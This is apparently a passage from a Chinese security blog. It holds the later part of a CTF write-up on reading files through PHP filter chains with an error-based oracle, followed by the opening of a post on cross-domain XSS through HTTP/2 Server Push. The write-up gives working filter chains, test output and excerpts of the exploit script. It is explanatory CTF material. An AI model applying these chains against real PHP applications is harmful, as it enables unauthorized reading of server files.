4*(n+6) - 2 也是符合了我们上述的长度要求！ 我们以 abcdefghij== 为例： // 将等号进行转换 php &gt; var_dump(file_get_contents(&#34;php://filter/convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7/resource=data:,abcdefghij==&#34;)); string(34) &#34;abcdefghij+---AD0-3D3D+---AD0-3D3D&#34; // 在前端添加冗余字符串 php &gt; var_dump(file_get_contents(&#34;php://filter/convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE/resource=data:,abcdefghij==&#34;)); string(36) &#34;��abcdefghij+---AD0-3D3D+---AD0-3D3D&#34; // 使用 r4 php &gt; var_dump(file_get_contents(&#34;php://filter/convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993/resource=data:,abcdefghij==&#34;)); string(36) &#34;ba��fedcjihg---+-0DAD3D3---+-0DAD3D3&#34; // 去除冗余 php &gt; var_dump(file_get_contents(&#34;php://filter/convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode/resource=data:,abcdefghij==&#34;)); string(28) &#34;bafedcjihg+0DAD3D3+0DAD3Dw==&#34; 在这里，为了方便后续描述，我们先与作者脚本里面的一样，定义上述流程为一个 flip 操作，也就是说一个 flip 流程包括等号转换、添加冗余、r4 转换、去除冗余这几个步骤。 根据一个 flip 操作，在解决 (1) 之后，我们在 (2) 之前得到的字符串为 bafedcjihg+0DAD3D3+0DAD3Dw== ，其长度为 28 ！也正好满足 r4 的长度要求，所以再使用一次 r4 变换即可把 fe 字符都换到最前面来了 Part 2.2 - Access All Positions 到目前为止，我们基本上解决了 8 字节中的 1-6 位置的获取，至于其他位置呢？ 例如 7-8 位置，我们可以通过首先进行一次 r4 操作，使得 hg 移动到原来 ef 的位置，再重复上述流程即可，这里就不再赘述，感兴趣的同学可以自行尝试。 那么超过 8 字节的位置呢？（其实我觉得这里熟悉算法的同学可能就会了，但是我当时确实还不会，所以也给像我一样比较菜的同学解释一下） 我们观察如上的操作，从我们引入了冗余字节，到最后又剔除掉冗余字节，实际上我们每次在进行这个操作后，后续的字节都会向前移动，所以实际上我们进行上述的 flip 次数越多，我们就拿到距离开头越远的字符。 举个例子，我们可以通过如下步骤获取到第 9 位（下表序号为 8 ）的字符： abcd efgh ijkl mnop -&gt;flip-&gt; bafe dcji hg+0 DAD3 -&gt;r4-&gt; efab ijcd 0+gh -&gt;flip-&gt; feji ba+0 dcD3 -&gt;r4-&gt; ijef 0+ab 3Dcd 我们可以观察得到规律，以 ij 两个字符为例，每次使用一次 flip/r4 操作都会使得这两字符前进 4 个字节位置，对于原本在第 9/10 位的 ij 来说，第一次 flip/r4 后到了 5/6 位，第二次则到了 1/2 位。 所以我们可以根据这个规律，对于下标为 n 的字符，只需要进行 n//4 次 flip/r4 组合就能将其位移到字符串的前端，最后前后可以使用 r4/r2 进行微调就行，微调细节可以看我们之前第一个例子为例。 所以最后这个简单的算法实现可以参考作者的脚本： def get_nth(n): global flip, r2, r4 o = [] chunk = n // 2 if chunk % 2 == 1: o.append(r4) o.extend([flip, r4] * (chunk // 2)) if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2) return join(*o) Part 2.3 - The Oracle of Base64 然而以上一切的理论都基于一个条件，那就是一个拥有两个等号的 Base64 字符串，如果我们将文件内容进行 Base64 编码后得到的 Base64 并没有两个等号的话，以上都不再成立了。 所以我们的目标又回到了如何不依赖文件内容、同时也不能过度修改文件内容的情况下产生一个满足要求的 Base64 字符串。 听起来可能有点绕，为什么说我们不依赖文件内容呢？因为这里我们并不知道文件内容经过编码后是否得到符合要求的 Base64 ；为什么说我们不能过度修改文件内容呢？因为倘若我们通过尝试增加了一些冗余填充位来使得经过 Base64 编码后的字符串满足要求的话，最后解码结果会因为引进过多的其他要素，而导致影响了解码结果，我们的最终目的还是需要通过这个 Base64 来解码获取原文件内容。 又或者说，我们有没有什么办法检测原文件内容经过 Base64 编码后是否拥有两个 = ？看起来我们又回到了等号的编码问题上。 目前我们拥有能够判断服务器某些条件的 Oracle 也只有 dechunk ，我们是不是可以利用这个 Oracle 来服务其他的判断条件呢？比如此处的等号，因为对于此时要求的 Base64 编码，其他都是数字字母，只有最后比较特殊的等号需要我们判断，那么有没有一种编码格式可以对数字字母都无效，但是可以把等号变成其他更长字节长度的字符，使得长度过长从而导致服务器产生内存错误呢？ 于是我们大概的想法是，如果该 Base64 编码存在等号，经过某个编码使得等号长度不断扩大最终导致服务器内存错误；如果不存在等号，经过某个编码就不会导致服务器内存错误。 最后作者找到了这么一个编码：convert.quoted-printable-encode 。它会将一个 = 编码成 =3D ，从原来的 1 个字节变成了 3 个字节，而且对其他数字字母并不会生效，完美符合我们的要求。 所以我们现在的做法就是： 获取 Part 1 中 n 组 convert.iconv.L1.UCS-4LE 组合会致使服务器产生内存错误的临界值 n使用 convert.base64-encode|convert.base64-encode 两次 Base64 编码对文件内容进行编码使用大量的 convert.quoted-printable-encode 编码对上一步 Base64 结果中的等号进行数次编码最后拼接上 n-1 组 convert.iconv.L1.UCS-4LE 组合 按照如上步骤，如果我们通过文件内容得到的 Base64 编码中含有两个等号，则会因为后续通过大量的 convert.quoted-printable-encode 编码扩展，拼接上原本不会让服务器产生内存错误的 n-1 组 convert.iconv.L1.UCS-4LE ，致使服务器产生了内存错误；如果没有等号，即使经过 大量的 convert.quoted-printable-encode 编码扩展也不会扩展字节，拼接上 n-1 组 convert.iconv.L1.UCS-4LE 也不会产生内存错误。 所以此时，我们就有了判断文件内容经过两次 Bae64 之后是否有等号的 Oracle 了，但是这仅仅只是判断有等号，这种情况还包括了 1 或者 2 个等号，况且，我们最终的目的还是需要获得拥有两个 = 的 Base64 编码，仅仅只是能判断有没有等号还是不行。 Part 2.4 - How to get the specific base64 我们稍微再仔细回顾一下 Base64 的编码规则，等号是由于 Base64 编码填充形成的，对于等号填充形式，基本上我们有三种状态：1 个等号、2 个等号、没有等号。而其实这几种状态又是可以相互转移的，我们分别考虑： 在没有等号的情况下，字符串长度 n ，总 bit 长度为 8*n 恰好为 Base64 分组 6 的倍数，此时如果我们再添加 2+3*k (k&gt;=0) 个字节即可获得 1 个等号的填充；或者再添加 1+3*k (k&gt;=0) 个字节即可获得 2 个等号的填充在有 1 个等号的情况下，字符串长度 n ，总 bit 长度为 8*n = 6*(n+2) - 8 = 6*n +4 ，此时如果我们再添加 2+3*k (k&gt;=0) 个字节即可获得 2 个等号的填充；或者再添加 1+3*k (k&gt;=0) 个字节得到没有等号填充的状态在有 2 个等号的情况下，我们不需要额外填充 我们仔细想想，因为我们从上述的 Oracle 无法判断原来的内容编码后有多少个等号，但是我们可以通过判断出没有等号的情况，那么我们是不是可以通过没有等号的情况，将其转移成固定有两个等号的情况呢？所以我们接下来我们需要找到一个可以产生 1+3*k 或者 2+3*k 字节的编码形式。 我觉得这里选择就比较多了，作者这里选择的是可以在头部添加固定字符 \x1b$)C 的编码 convert.iconv..CSISO2022KR ，我们只需要使用这个编码即可改变最终 Base64 的结果，并且这个编码产生的是固定字符，最终解码的时候我们也可以比较方便地识别并去掉这个 4 个字节的字符。 状态转移的问题算是解决了，可是我们得到的 Base64 编码字符串不一定都是无等号的吧？万一正好有 2 个等号呢？ 这时就又回到我们状态转移的问题上来了，虽然我们无法判断有几个等号，但是我们可以判断没有等号的情况，而我们知道通过之前的 Oracle ，只有没有等号的情况是无法产生报错的，而这几种状态是可以相互转移的。 所以！我们只要覆盖这三种状态，判断出哪一种是没有等号的状态，再对其进行状态转移即可： 首先通过对原内容进行编码的为状态 1 ：convert.base64-encode|convert.base64-encode通过增加了 1 次 4 字节冗余编码的为状态 2 ：convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode通过增加了 2 次 4 字节冗余编码的为状态 3 ：convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode 因为根据上文对 Base64 编码规则的推断，每增加一次 4 字节冗余就能使得编码状态发生相应的转移，所以无论最初的状态 1 是什么，以上三种都能覆盖等号的三种状态。 然后我们再用之前提到的 Oracle 判断其中没有等号的状态，再将其转移到有 2 个等号的状态，就必定能产生满足我们有 2 个等号的 Base64 编码了！ 这里对应的作者原脚本中： print(&#39;detecting equals&#39;) j = [ req(f&#39;convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}&#39;), req(f&#39;convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}&#39;), req(f&#39;convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}&#39;) ] print(j) if sum(j) != 2: err(&#39;something wrong&#39;) if j[0] == False: header = f&#39;convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode&#39; elif j[1] == False: header = f&#39;convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode&#39; elif j[2] == False: header = f&#39;convert.base64-encode|convert.base64-encode&#39; else: err(&#39;something wrong&#39;) print(f&#39;j: {j}&#39;) print(f&#39;header: {header}&#39;) Part 3 - Translation 看起来我们解决了一系列的问题，我们回顾一下我们之前解决了哪些问题： 必定产生一个带有 2 个等号的 Base64 字符串可以让字符串中任一字节移动到首位可以利用 dechunk 判断字符串首位是否在 a-fA-F0-9 范围内 可以看到，拥有了以上条件，我们能做的还仅仅只是判断字符是否在一个大概范围内，这显然无法满足我们解题的要求，我们接下来要做的就是设法准确判断第一个字节。 其实经过上文 filter 的洗礼，可能有同学已经有自己的想法了：是否存在这么一些 filter ，可以单独对每个字母生效将其转换到 a-fA-F0-9 的范围内呢？ 举个例子，比如假设有这么一个 1to1 的 filter ，它只对 z 字母有效，可以把 z 转换到 a 字符，对其他字母都不生效；这样一来，如果第一个字母是 z 的话，我们就可以利用这个 filter 将其转换到 a ，再利用最初的 Orcale 进行判断了，此时就不会产生内存错误；而如果不是 z 的话，就不会被转换，仍然产生内存错误。 所以基于以上思路，虽然找到这样的 filter 确实很难，因为毕竟都是要满足 26*2 + 10 个要求&mldr;几乎不太可能，但是我们可以退而求其次，我们首先判断出一些字母，这些字母集合为 A ，其他另外某几个字母集合 B ，倘若有这么一个 filter 可以判断 A ∪ B ，但是因为集合 A 已经被我们排除了，所以这个 filter 尽管没有很满足我们 1to1 的要求，但是也能协助我们转换 B 集合部分的字母。 这里先介绍后续会用到的一些 filter 的作用： rot1 = &#39;convert.iconv.437.CP930&#39; # 会将字母向后移动一位，所以称呼为 rot1 ，比如 a-&gt;b, b-&gt;c # 但是只对部分字母有效，初步测试为 a-h 范围，不包括数字，其他字母会有其他规则 i-&gt;q ，后续就不是 rot1 了 rot13 = &#39;string.rot13&#39; # rot13 算法，向后移动 13 位 tolower = &#39;string.tolower&#39; # 将大写字母转换成小写 因为有 string.tolower 的存在，所以我们后续分析小写字母，大写字母只需要通过该 filter 转换成小写字母即可，后文就不再赘述。 Part 3.1 - A-F 按照以上逻辑，我们首先把最简单，最容易的排除的字母先解决掉，比如 a-fA-F0-9 这个范围，我们直接可以通过 dechunk 是否产生错误来判断字符是否在这个范围，所以可以首先使用 dechunk 判断这个范围。 通过 rot1 转换，我们就可以把 f 排除出范围了： php &gt; var_dump(file_get_contents(&#34;php://filter/convert.iconv.437.CP930|dechunk/resource=data:,a&#34;)); string(0) &#34;&#34; php &gt; var_dump(file_get_contents(&#34;php://filter/convert.iconv.437.CP930|dechunk/resource=data:,e&#34;)); string(0) &#34;&#34; php &gt; var_dump(file_get_contents(&#34;php://filter/convert.iconv.437.CP930|dechunk/resource=data:,f&#34;)); string(1) &#34;g&#34; 接下来就是如何判断 a-e 字母了。因为 rot1 对于 a-e 都是生效的，所以我们只需要多次应用 rot1 就可以逐个排除，例如只使用 2 次 rot1 就会触发 Oracle 的那就是字母 e 了，以此类推。 所以 a-e 的判断不难，但是是不是我们排除 a-e 之后，剩下的就是 f 了呢？并不然，因为我们 dechunk 判断的范围还包括数字，所以我们还需要找到一个对 f 生效，对数字不生效的 filter ，于是作者得到的 filter 如下： php &gt; var_dump(file_get_contents(&#34;php://filter/convert.iconv.CP1390.CSIBM932|dechunk/resource=data:,f&#34;)); string(0) &#34;&#34; php &gt; var_dump(file_get_contents(&#34;php://filter/convert.iconv.CP1390.CSIBM932|dechunk/resource=data:,0&#34;)); string(1) &#34;&#34; // ... 此处省略，该 filter 对于数字都会产生一个不可见字符，感兴趣的读者自行尝试 php &gt; var_dump(file_get_contents(&#34;php://filter/convert.iconv.CP1390.CSIBM932|dechunk/resource=data:,9&#34;)); string(1) &#34;&#34; 这就是一个满足我们判断 f 字符的 filter 了。 此处作者仍然使用了一个filter 处理数字，因为作者没有找到合适的处理数字的 fitler ，所以此处暂时先使用了 * 作为占位符（虽然我觉得可以在排除 f 之后直接 return '*' ，但是作者认为为了避免出错，还是判断为好）： elif not req(f&#39;{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}&#39;): return &#39;*&#39; PS: 此处作者的脚本为 # a-e for n in range(5): if req(f&#39;{prefix}|&#39; + f&#39;{rot1}|{be}|&#39;*(n+1) + f&#39;{rot1}|dechunk|{blow_up_inf}&#39;): return &#39;edcba&#39;[n] break 使用了 be 编码，此处我的理解为因为作者实际是较长的字符串进行判断的，而此处我为了举例说明，只使用了一个字符，在处理较长字符串的时候可能存在不可见字符等冗余问题需要去除 Part 3.2 N-S &amp; I-K &amp; V-X 因为有了 a-f 的基本模板，我们剩下的可以尽可能将剩余字符通过 ASCII 移位至这个区间以复用 a-f 的判断，但是 我们找到的 rot1 并不是真正的 rot1 ，只对部分字母区间有效，所以没办法做到全部字母都使用 rot1/rot13 进行转换，但仍然可以解决掉部分字母区间。 以下几个都是可以通过 ASCII 移位到 a-f 的，所以具体流程不再赘述 借助 string.rot13 ，我们还可以把 n-s 区间转换成 a-f借助 rot1 &amp; rot13 ，我们还可以把 i-k 进行转换 // i-k 经过 rot1 后的结果，其余字母都不满足后续要求所以此处只写 i-k php &gt; var_dump(file_get_contents(&#34;php://filter/convert.iconv.437.CP930/resource=data:,i&#34;)); string(1) &#34;q&#34; php &gt; var_dump(file_get_contents(&#34;php://filter/convert.iconv.437.CP930/resource=data:,j&#34;)); string(1) &#34;r&#34; php &gt; var_dump(file_get_contents(&#34;php://filter/convert.iconv.437.CP930/resource=data:,k&#34;)); string(1) &#34;s&#34; // 再使用 string.ro13 可以得到 d-f ，可以复用之前 a-f 的逻辑，此处不再演示 再次借助 string.rot13 ，我们可以把 v-x 范围转换成 i-k 范围，再复用上述步骤 所以目前，我们总共解决了 2*6 + 3*2 = 18 个字母，剩余 26-18=8 个字母需要我们解决。 Part 3.3 - The rest alphabets 剩余字母就没有太多技巧了，但是我们在找 filter 的同时，就相对轻松了，因为我们之前排除了 18 个字母，后续如果有 filter 还对这 18 个字母其中几个生效都没关系，相对于找 1to1 的转换大大降低了难度。 并且，在找到一些字母的转换之后，还可以使用 string.rot13 &amp; rot1 进行转换，实际上我们需要找的字母并不多，这部分具体可以参考作者最后的脚本部分 #295-#344 Part 3.4 - The numbers 字母处理完了，剩下的就是数字了。 在 Base64 编码中，因为编码规则都是相对固定的，尤其是相对字符串第一个字节来说，因为在 Base64 分组的时候，第一个字节可以直接编码得到 Base64 编码中的第一位，以 1 为例，如下： 所以倘若我们把数字都提取到第一位，并将其进行一次 Base64 编码，得到的编码结果我们再去判断第一位是什么字母，就可以大概推算出数字的范围，例如 0-3 -&gt; M 4-7 -&gt; N 8-9 -&gt; O 然后我们再使用 r2 交换 Base64 的第二位，因为在 Base64 分组中，Base64 的第二位的高 bit 位仍然受到原文第一个字节的影响，所以根据编码结果第二位的范围我们就可以最终确定这个数字是什么了！例如 0-3 : 0 -&gt; CDEFGH 1 -&gt; STUVWX 2 -&gt; ijklmn 3 -&gt; yz* 当然仍然有可能编码结果下一位仍然是数字，例如 3s 编码结果为 M3M= ，但是根据我们之前把 0-2 都排除了，剩余的就剩下是 3 了，所以依旧可以判断出来。 此部分对应作者脚本的 #351-#393 ，其余数字类似，就不再赘述。 至此，我们基本完成了所有字符的对应翻译工作，这个题也算是基本解决了。 Part 3.5 - Additional Notes 有小伙伴提到了一个我没有注意到的问题，就是最后翻译 Base64 编码的时候，为什么不用翻译 +/ 呢？这些不都在 Base64 编码范围之内呢？ 这个问题当时就问到了我，还好跟其他小伙伴一起讨论了一下发现了这个小细节。之前我认为作者使用两次 Base64 ，第一次是为了编码非标准字符，然后使得做 padding 的时候更标准，然后第二次编码可以得到两个 = 的编码结果。但是其实我觉得这里还有个更合理，或者作者也没考虑到，但是确实这样不用翻译 +/ 的理由。 就是在第一次编码之后，无论文件内容是什么，最后结果都会是 Base64 编码字符内的 ASCII 字符，而在 Base64 编码范围内的字符的二进制，最高位都不会是 1 ，可以看看码表：ASCII码一览表，ASCII码对照表 而对于 Base64 编码来说，+/ 的编码分别是：111110/111111 ，可以看到最高位都需要为 1 。 而我们可以从图中看到： 开头字节无法让第一个 Bit 为 1红色箭头处都是因为 ASCII 第一个 bit 不会是 1中间部分由于 plantext 第一个bit无法为1的缘故都不能满足要求蓝色部分是稍微比较好的情况，但是在这种情况下编码最大值只能到 9最后一组编码虽然最好情况可以编码成 + ，但是需要 plaintext 为 DEL(0x7f)，但是这是经过第一次 Bae64 编码后的，所以 plaintext 不会存在 DEL 的情况 综述，经过两次 Base64 之后的编码结果是不存在 +/ 的，所以我们并不需要翻译 +/ 这两个字符 Summary 让我们再次总结一下，整体流程大致如下： 第一步，先判断出多少个 UCS-4LE 会引起服务器报错，获取到这个数值的临界值第二步，利用 convert.iconv..CSISO2022KR 产生固定的 \x1b$)C 固定的 padding 与原来的 FLAG 拼接使得得到的 base64 结果最后会有两个等号第三步，使用 UCS-2BE 等编码技巧交换字符顺序，使得后面的字符挨个轮换至第一个字节第四步，使用编码技巧将第一个字节的字符转换成 dechunk 能够判断的字符范围内，并使用 Base64 将数字转换成字母进一步准确判断数字最后将得到的 Base64 编码结果解码，并按照之前增加了多少个 padding 剔除几个 padding 另外，一些写这篇文章时候的探讨: 由于 dechunk是 php 5.3 之后引进的，当然这个技巧是 php7 也可以使用，所以实际上他跟 php 8 没多大关系理论上来说，在我们可控任意支持 php filter 函数参数的情况下，与 phar 有一些类似，任何与文件操作有关的函数都可以被利用来侧信道读取文件内容理论上来说，除了使用 convert.iconv.L1.UCS-4LE 产生大量冗余字符导致 PHP 内存溢出外，还可以使用其他编码形式，例如甚至多次 Base64 ，毕竟目的只是需要让 PHP 产生内存错误，方法还是比较多的当然，该利用也有一定限制，比如 5.3 以下就不行，可能得需要找另外一些 Oracle ，以及与 iconv LFI 一样，该方法极度依赖系统 iconv 提供的字符集 本篇算是我迄今为止写的最累的一篇文章之一，因为作者在原脚本里面并没有非常详细介绍每一个细节，以及为什么我们需要这么做，所以在理解脚本上费了很大的功夫，再加上还要把它写出来，就更累了。 不过我觉得这个题带来的攻击技巧很有意思，特别是深入每一个细节后，没想到处处都是细节，而且这非常 ctf ，每次都是解决一个问题之后又遇到一个问题，又需要我们再度解决这个问题，一环扣一环。后面跟作者聊天的时候，他表示自己弄整个 solution 差不多花了 15 个小时，预期是 0 解或者 1 解，最后果不其然是 0 解。 另外，与本题无关的是，我们还可以利用 iconv 来产生一些文件头从而绕过一些文件函数的检测，比如产生一个 GIF 字符可以绕过某些图片的检测等，可以看看这位同学的实践案例：https://github.com/Taiwan-Tech-WebSec/Bug-Report/issues/91 ，也可以看看 CakeCTF 2022 中的 ImageSurfing ，当然也欢迎来 「Funny Web CTF」来探讨有意思的题目或者 Web 技术。 我正在「Funny Web CTF」和朋友们讨论有趣的话题，你⼀起来吧？https://t.zsxq.com/067y7iAuf 最后，虽然 iconv 很好玩（?），但是我写完之后已经不希望大家继续卷这玩意了，毕竟这玩意要是像 phar 一样被某些 CTF 出题人盯上，有点像打开了潘多拉魔盒，对于选手来说简直是灾难级的（反正我是不会再想去做这类题目了的）。 不过还是比较期待，希望还能写下一篇 The End of ???]]></summary></entry><entry><title type="html">A Magic Way of XSS in HTTP/2</title><link href="https://blog.zeddyu.info/2022/08/16/2022-08-10-h2-push/" rel="alternate" type="text/html" title="A Magic Way of XSS in HTTP/2" /><published>2022-08-16T00:00:00+00:00</published><updated>2022-08-16T00:00:00+00:00</updated><id>https://blog.zeddyu.info/2022/08/16/2022-08-10-h2-push</id><content type="html" xml:base="https://blog.zeddyu.info/2022/08/16/2022-08-10-h2-push/"><![CDATA[<p>上周周末结束的 corCTF 中有一个题目提出了一种很有意思的攻击，该攻击方式可以利用 HTTP/2 Server Push 机制 XSS 到其他域，尽管利用条件有点苛刻，但是我个人非常喜欢这种 Magic 的攻击方式。（在征求了原作者 <a class="link" href="https://larry.sh/" target="_blank" rel="noopener">@ehhthing</a> 同意下将该方法分享给大家）</p>
<div class="notice notice-tip"><div class="notice-title"><svg xmlns="http://www.w3.org/2000/svg" class="icon notice-icon" viewBox="0 0 512 512"><path d="M504 256A248 248 0 118 256a248 248 0 01496 0zM227 387l184-184c7-6 7-16 0-22l-22-23c-7-6-17-6-23 0L216 308l-70-70c-6-6-16-6-23 0l-22 23c-7 6-7 16 0 22l104 104c6 7 16 7 22 0z" /></svg></div><p>文章首发于跳跳堂：<a class="link" href="https://tttang.com/archive/1703/" target="_blank" rel="noopener">A Magic Way of XSS in HTTP/2</a></p></div>
<h2 id="tldr">TL;DR</h2>
<p>在共享证书的情况下，如果我们对其中一个域名可控，并且拥有其证书，我们可以构建一个 HTTP/2 Server 通过 HTTP/2 Server Push 机制可以造成其他共享证书的域名下的 HTTP/2 站点的 Global XSS</p>
<p>利用条件：</p>
<ul><li>证书共用：两个域名都需要共用一张证书</li><li>HTTP/2: 攻击目标 Server 需要支持 HTTP/2</li><li>已获得一个域名的所有权以及对应证书</li></ul>
<h2 id="http2--server-push">HTTP/2 &amp;&amp; Server Push</h2>
<p>Server Push 机制算是 HTTP/2 协议中的一大新特性，我们可以简单了解一下 HTTP/2 以及 Server Push 的背景以及其工作机制。</p>
<h3 id="background">Background</h3>
<p>HTTP，超文本传输协议，它是网络数据通信的基础。HTTP/1.1 在其生命周期中表现良好，但随着 Web 的发展，其协议设计已经无法在满足今天 Web 应用的性能需求，尽管 HTTP/1.1 中尝试增加 Pipline 等机制来优化并发等问题，但是其始终无法解决队头阻塞、发送重复的 Headers 数据、单个 TCP 链接利用效率较低等问题导致网络性能的降低。</p>
<p>HTTP/2 是自 1997 年 HTTP/1.1 首次由 IETF 发布以来的第一个主要 HTTP 协议更新，其对以前的版本做出了重大的改进，带来了很多新特性以及安全性功能等。例如新的二进制报文格式、多路复用、头部压缩、服务端推送等特性，今天我们主要介绍的特性就是服务端推送( Server Push )。</p>
<h3 id="browsing-in-http1x">Browsing in HTTP/1.x</h3>
<p>我们首先来看看没有 Server Push 的工作流程，在一般的 Web 访问流程中：</p>
<ol><li>首先浏览器向服务端请求主页面 index.html，服务端响应 index.html 内容</li><li>浏览器获取到主页应答后，开始解析主页的 html 标签，发现构建 DOM 树还需要 CSS/GIF/JS 等资源</li><li>向服务端发起针对 CSS/GIF/JS 的内容请求</li><li>浏览器获取并解析 JS 和 CSS 等内容，然后继续请求依赖资源</li></ol>
<p><figure><a href="https://www.smashingmagazine.com/provide/normal-server-response.svg"><img src="https://www.smashingmagazine.com/provide/normal-server-response.svg" loading="lazy" alt="Pic From https://www.smashingmagazine.com/2017/04/guide-http2-server-push/" /></a><figcaption>Pic From <a class="link" href="https://www.smashingmagazine.com/2017/04/guide-http2-server-push/" target="_blank" rel="noopener">https://www.smashingmagazine.com/2017/04/guide-http2-server-push/</a></figcaption></figure></p>
<p>这就是传统的网页请求方式，但是我们也能从中看到一些问题，比如对于如今的 Web 页面，至少需要两轮以上的 HTTP 通信才能完整加载页面，而如果在请求 CSS 文件的时候遇到网络问题、或者文件过大，就会导致页面内容杂乱无章，极大地降低了用户体验。</p>
<p>当然目前也有一些解决方法，比如把外部资源合并在网页文件里面，减少 HTTP 请求，例如把图片以 Base64 放到 URI 中；又或者使用 <a class="link" href="https://w3c.github.io/preload/" target="_blank" rel="noopener">预加载</a>（preload）机制。</p>
<p>这两种方法都有缺点。第一种方法虽然减少了 HTTP 请求，但是把不同类型的代码合并在一个文件里，违反了分工原则。第二种方法只是提前了下载时间，并没有减少 HTTP 请求。</p>
<h3 id="what-server-push-is">What Server Push is</h3>
<blockquote><p><strong>HTTP/2 Server Push</strong> allows an <a class="link" href="https://en.wikipedia.org/wiki/HTTP/2" target="_blank" rel="noopener">HTTP/2</a>-compliant server to send resources to an HTTP/2-compliant client before the client requests them. Server Push is a performance technique aimed at reducing latency by loading resources preemptively, even before the client knows they will be needed.</p><p>HTTP/2 Server Push is not a notification mechanism from server to client. Instead, pushed resources are used by the client when it may have otherwise produced a request to get the resource anyway.</p></blockquote>
<p><strong>HTTP/2 服务器推送</strong>允许符合 HTTP/2 的服务器在客户端请求资源之前将资源发送到符合 HTTP/2 的客户端。服务器推送是一种性能技术，旨在通过抢先加载资源来减少延迟，甚至在客户端知道它们将被请求之前。</p>
<p>举个例子，浏览器只请求了 index.html ，但是服务器会把 index.html/style.css/example.png 全部发送给浏览器，这样只需要一轮 HTTP 通信，浏览器就得到了全部资源，从而提高了性能。</p>
<p>但是 HTTP/2 服务器推送不是从服务器到客户端的通知机制，相反，当客户端可能已经产生了获取资源的请求时，客户端才会使用推送的资源。</p>
<h3 id="how-it-works">How it works</h3>
<p>我们来简单了解一下 Server Push 的工作流程：</p>
<ol><li>首先浏览器向服务端请求主页面 index.html，服务端响应 index.html 内容</li><li>同时，服务器预测到了客户端需要请求 styles.css 等静态资源，在无需客户端请求 styles.css 的情况下，随后发送 styles.css 的内容给客户端</li><li>浏览器依次获得 index.html/styles.css 等内容，完成解析 DOM 树构造</li></ol>
<p><figure><a href="https://www.smashingmagazine.com/provide/server-push-response.svg"><img src="https://www.smashingmagazine.com/provide/server-push-response.svg" loading="lazy" alt="https://www.smashingmagazine.com/2017/04/guide-http2-server-push/" /></a><figcaption><a class="link" href="https://www.smashingmagazine.com/2017/04/guide-http2-server-push/" target="_blank" rel="noopener">https://www.smashingmagazine.com/2017/04/guide-http2-server-push/</a></figcaption></figure></p>
<p>当然上述的“预测”是需要进行一些简单的服务器配置的，例如我们使用 Nginx ，需要在 Nginx 中使用 <code>http2_push</code> 进行如下配置：</p>
<pre tabindex="0"><code>server {
    listen 443 ssl http2;
    server_name _;
    ssl_certificate /parth/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    root /var/www/html/;
    
    http2_push /styles.css;
    location = / {
        index index.html;
    }
}
</code></pre>
<p>在服务器已准备好 HTTP/2 Push 后，则当服务器收到 index.html 的请求时，服务器可以"预测"客户端随后应该会对 styless.css 等资源发起请求。我们从一个流量报文简单分析一下：</p>
<ul><li>服务器在 Stream ID 1 中接收到请求 index.html 的 HEADERS 帧，它可以“预测”对 styles.css 的需求，根据服务器配置推送 styles.css</li><li>服务器再次在 Stream ID 1 中为 styles.css 发送 PUSH_PROMISE ，这些帧大致相当于浏览器的请求</li><li>服务器在 Stream ID 1 中发送一个 HEADERS 帧以响应对 index.html 的请求</li><li>服务器发送带有 index.html 内容的 DATA 帧，仍然在 Stream ID 1 中</li><li>服务器发送 HEADERS 帧以响应流 2 中的 styles.css （HEADERS[2]/DATA[2]）</li></ul>
<p><a class="link" href="https://imgtu.com/i/v8xkwV" target="_blank" rel="noopener"><figure><a href="https://s1.ax1x.com/2022/08/11/v8xkwV.png"><img src="https://s1.ax1x.com/2022/08/11/v8xkwV.png" loading="lazy" alt="v8xkwV.png" /></a><figcaption>v8xkwV.png</figcaption></figure></a></p>
<p>我们需要在 index.html 放置对应加载的资源才能看到 Chrome 对 push 资源的显示，例如：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">head</span><span class="p">&gt;&lt;</span><span class="nt">link</span> <span class="na">rel</span><span class="o">=</span><span class="s">&#34;icon&#34;</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;data:,&#34;</span><span class="p">&gt;&lt;</span><span class="nt">link</span> <span class="na">rel</span><span class="o">=</span><span class="s">&#34;stylesheet&#34;</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;styles.css&#34;</span><span class="p">&gt;&lt;/</span><span class="nt">head</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">This is push index
</span></span></code></pre></div>
<p>倘若这里不使用 link 标签加载 styles.css 资源文件的话，在控制台是看不到 Push 这个网络请求的</p>
<h2 id="where-the-bug-is">Where the bug is</h2>
<p>既然是推送资源，那我们要是跨域加载一些其他资源会怎么样呢？是不是也可以通过 Push 实现呢？毕竟对于一些 CSS/JS 等资源进行跨域请求在现在互联网是非常常见的，那 HTTP/2 Push 里面应该怎么做呢？</p>
<p>在一些中文互联网资料里面，有些资料明确说不可以，有些说可以，最后在一篇 <a class="link" href="https://jakearchibald.com/2017/h2-push-tougher-than-i-thought/" target="_blank" rel="noopener">HTTP/2 push is tougher than I thought</a> 博客里面找到了答案：</p>
